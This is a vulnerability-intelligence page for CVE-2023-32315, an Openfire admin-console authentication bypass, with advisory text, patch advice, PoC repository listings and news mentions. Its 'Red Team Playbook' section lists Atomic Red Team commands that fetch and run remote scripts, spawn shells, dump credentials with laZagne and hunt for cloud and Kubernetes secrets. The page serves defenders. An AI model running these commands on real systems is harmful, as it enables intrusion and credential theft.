CVE-2023-32315
Overview
This vulnerability is a path traversal flaw in the Openfire administrative console's setup environment. The root cause is improper validation of input paths in the web-based setup interface, allowing traversal sequences to access unauthorized resources. The affected component is the Openfire Setup Environment within the administrative console, impacting versions from 3.10.0 onward released since April 2015.
Vulnerability Description
Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.
Impact
An attacker can gain unauthorized access to the Openfire Administration Console without any authentication or user interaction. This access enables viewing and potentially manipulating administrative functions and sensitive configuration data. The unauthorized console access undermines system integrity and confidentiality, potentially leading to further exploitation or lateral movement within the affected environment.
Solution
Users should upgrade Openfire to versions 4.7.5 or 4.6.8 or later, where this vulnerability has been patched. Further improvements are planned for the upcoming 4.8.0 release. Detailed patch and mitigation instructions are available in the official GitHub security advisory GHSA-gw42-f939-fhvm at https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Igniterealtime | Openfire | All |
cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
|
|
|
Igniterealtime | Openfire | All |
cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Openfire authentication bypass with RCE plugin
exploits/multi/http/openfire_auth_bypass_rce_cve_2023_32315
|
- | Unknown | - | View |
GitHub PoCs (16)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
rce
|
tangxiaofeng7 | 143 | 34 | 2023-06-14 | View |
|
miko550/CVE-2023-32315
Openfire Console Authentication Bypass Vulnerability with RCE plugin
|
miko550 | 62 | 12 | 2023-06-18 | View |
|
K3ysTr0K3R/CVE-2023-32315-EXPLOIT
A PoC exploit for CVE-2023-32315 - Openfire Authentication Bypass
|
K3ysTr0K3R | 15 | 5 | 2023-12-15 | View |
|
Ap0dexMe0/CVE-2023-32315
Perform With Massive Openfire Unauthenticated Users
|
Ap0dexMe0 | 7 | 4 | 2023-07-02 | View |
|
ThatNotEasy/CVE-2023-32315
Perform With Massive Openfire Unauthenticated Users
|
ThatNotEasy | 6 | 4 | 2023-07-02 | View |
|
izzz0/CVE-2023-32315-POC
CVE-2023-32315-Openfire-Bypass
|
izzz0 | 5 | 1 | 2023-07-07 | View |
|
gibran-abdillah/CVE-2023-32315
Tool for CVE-2023-32315 exploitation
|
gibran-abdillah | 3 | 2 | 2023-08-31 | View |
|
5rGJ5aCh5oCq5YW9/CVE-2023-32315exp
|
5rGJ5aCh5oCq5YW9 | 2 | 1 | 2023-06-15 | View |
|
pulentoski/Explotacion-CVE-2023-32315-Openfire
|
pulentoski | 1 | 0 | 2025-04-14 | View |
|
ohnonoyesyes/CVE-2023-32315
|
ohnonoyesyes | 0 | 1 | 2023-06-14 | View |
|
krevetkqqq/cve-2023-32315-openfire-lab
|
krevetkqqq | 0 | 0 | 2026-10-30 | View |
|
CyberCTF/vulhub-openfire-cve-2023-32315
Vulhub openfire/CVE-2023-32315: Openfire Admin Console Authentication Bypass (CVE-2023-32315), run with Isoloom
|
CyberCTF | 0 | 0 | 2026-10-08 | View |
|
CN016/Openfire-RCE-CVE-2023-32315-
Openfire未授权到RCE(CVE-2023-32315)复现
|
CN016 | 0 | 0 | 2023-10-10 | View |
|
asepsaepdin/CVE-2023-32315
|
asepsaepdin | 0 | 0 | 2025-01-30 | View |
|
bryanqb07/CVE-2023-32315
|
bryanqb07 | 0 | 0 | 2024-09-05 | View |
|
shiyingzhencai/CVE-2023-32315-java7-
CVE-2023-32315(java7)
|
shiyingzhencai | 0 | 0 | 2025-12-21 | View |
Threat Feed
30 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Active exploitation confirmed with 82 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (34)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
code github.com krevetkqqq 2026-10-30 14:51 UTCkrevetkqqq/cve-2023-32315-openfire-labOpen source
-
code github.com CyberCTF 2026-10-08 19:46 UTCCyberCTF/vulhub-openfire-cve-2023-32315Open source
-
social bsky.app @cyberhub.blog 2026-08-31 20:37 UTC📌 Java-Based 'Ghost Bits' Attack Vector Exposes Critical Vulnerabilities in Major Libraries and Framew... https://www.cyberhub.blog/article/31150-java-based-ghost-bits-attack-vector-exposes-critical-vulnerabilities-in-major-libraries-and-f…Open source
-
news hkcert.org 2026-07-16 07:00 UTCStrikeShark Campaign Exploits Known Vulnerabilities to Deploy Cobalt Strike via SharkLoader - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
news scworld.com 2026-06-29 07:00 UTCNew SharkLoader malware campaign deploys Cobalt Strike Beacon - SC MediaOpen source
-
news thehackernews.com 2026-06-26 07:00 UTCNew SharkLoader Malware Deploys Cobalt Strike in StrikeShark Cyberattacks - The Hacker NewsOpen source
-
code github.com rag-fish 2025-09-04 12:53 UTCrag-fish/openfire-exploit-suiteOpen source
-
code github.com pulentoski 2025-04-14 18:07 UTCpulentoski/Explotacion-CVE-2023-32315-OpenfireOpen source
-
news helpnetsecurity.com 2025-02-13 08:00 UTCSandworm APT’s initial access subgroup hits organizations accross the globe - Help Net SecurityOpen source
-
code github.com asepsaepdin 2025-01-30 17:47 UTCasepsaepdin/CVE-2023-32315Open source
-
code github.com bryanqb07 2024-09-05 13:22 UTCbryanqb07/CVE-2023-32315Open source
-
code github.com K3ysTr0K3R 2023-12-15 16:30 UTCK3ysTr0K3R/CVE-2023-32315-EXPLOITOpen source
-
code github.com CN016 2023-10-10 08:48 UTCCN016/Openfire-RCE-CVE-2023-32315-Open source
-
social bsky.app @opfuchs.gay 2023-09-26 16:42 UTCCVE-2023-32315, a serious authentication bypass in Openfire, is being actively exploited in the wild: www.bleepingcomputer.com/news/securit...Open source
-
news bleepingcomputer.com 2023-09-26 07:00 UTCHackers actively exploiting Openfire flaw to encrypt servers - BleepingComputerOpen source
-
social bsky.app @youranonriots.bsky.social 2023-09-08 20:48 UTC⚠️ Attention server admins! Thousands of Openfire XMPP servers are at risk! Unpatched flaw CVE-2023-32315 allows unauthorized access. thehackernews.com/2023/08/thou... #cybersecurity #informationsecurityOpen source
-
social bsky.app @dervishe.eurosky.social 2023-09-08 14:13 UTC"As a result, a threat actor could abuse this weakness to bypass authentication requirements for admin console pages. The vulnerability has since come under active exploitation in the wild, including by attackers associated with the Kinsin…Open source
-
code github.com gibran-abdillah 2023-08-31 08:43 UTCgibran-abdillah/CVE-2023-32315Open source
-
code github.com bingtangbanli 2023-08-31 03:22 UTCbingtangbanli/VulnerabilityToolsOpen source
-
social bsky.app @infosec.skyfleet.blue 2023-08-24 09:08 UTCThousands of Unpatched Openfire XMPP Servers Still Exposed to High-Severity FlawOpen source
-
news securityaffairs.com 2023-08-24 07:00 UTCMore than 3,000 Openfire servers exposed to attacks using a new exploit - Security AffairsOpen source
-
news thehackernews.com 2023-08-24 07:00 UTCThousands of Unpatched Openfire XMPP Servers Still Exposed to High-Severity Flaw - The Hacker NewsOpen source
-
social bsky.app @infosec.skyfleet.blue 2023-08-23 19:47 UTCOver 3,000 Openfire servers vulnerable to takover attacksOpen source
-
news securityweek.com 2023-08-23 07:00 UTC3,000 Openfire Servers Exposed to Attacks Targeting Recent Vulnerability - SecurityWeekOpen source
-
news bleepingcomputer.com 2023-08-23 07:00 UTCOver 3,000 Openfire servers vulnerable to takover attacks - BleepingComputerOpen source
-
social bsky.app @r-netsec.bsky.social 2023-08-22 13:28 UTCExploitation of Openfire CVE-2023-32315Open source
-
social bsky.app @infosec.skyfleet.blue 2023-07-29 12:06 UTCCVE-2023–32315: Administration Console authentication bypass - https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576?source=rss------cybersecurity-5Open source
-
code github.com izzz0 2023-07-07 07:48 UTCizzz0/CVE-2023-32315-POCOpen source
-
code github.com Ap0dexMe0 2023-07-02 20:38 UTCAp0dexMe0/CVE-2023-32315Open source
-
code github.com miko550 2023-06-18 15:42 UTCmiko550/CVE-2023-32315Open source
-
code github.com 5rGJ5aCh5oCq5YW9 2023-06-15 01:11 UTC5rGJ5aCh5oCq5YW9/CVE-2023-32315expOpen source
-
code github.com tangxiaofeng7 2023-06-14 09:43 UTCtangxiaofeng7/CVE-2023-32315-Openfire-BypassOpen source
-
code github.com ohnonoyesyes 2023-06-14 09:17 UTCohnonoyesyes/CVE-2023-32315Open source
-
news ccb.belgium.be 2023-05-25 07:00 UTCWARNING: High risk vulnerability in Openfire xmpp server - CCB BelgiumOpen source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32315 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/173607/Openfire-Authentication-Bypass-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-32315 |